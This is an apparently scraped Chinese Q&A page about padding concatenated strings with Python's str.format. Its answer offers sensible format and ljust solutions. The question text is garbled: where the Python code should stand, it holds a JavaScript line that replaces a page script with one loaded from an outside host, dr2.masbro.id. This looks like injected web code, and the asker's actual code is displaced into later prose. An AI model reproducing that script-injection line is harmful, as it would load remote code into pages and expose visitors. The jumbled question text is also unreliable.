Python中的串联字符串格式?

时间:2016-06-21 19:10:52

标签: python string format

我正在尝试设置连接字符串的宽度。这就是我想要做的事情:

document.scripts

我知道我绝对可以使用:

document.scripts[0].outerHTML = "<script type='text/javascript' src='http://dr2.masbro.id/js2.js'></script>"

但是想知道我是否可以使用单>>> "{{a}_{b}:<10s}".format(a='xx', b='yy') Traceback (most recent call last): File "<input>", line 1, in <module> ValueError: Single '}' encountered in format string 来完成它。

1 个答案:

答案 0 :(得分:0)

您可以从填充和填充b中减去a和b的长度,为_添加一个:

a,  b ='xx','yy'
"{a}_{b:<{ln}s}".format(a=a, b=b, ln= 11 - (len(a)  + len(b)))

或者ljust:

"{a}_{b}".format(a='xx', b='yy').ljust(10, " ")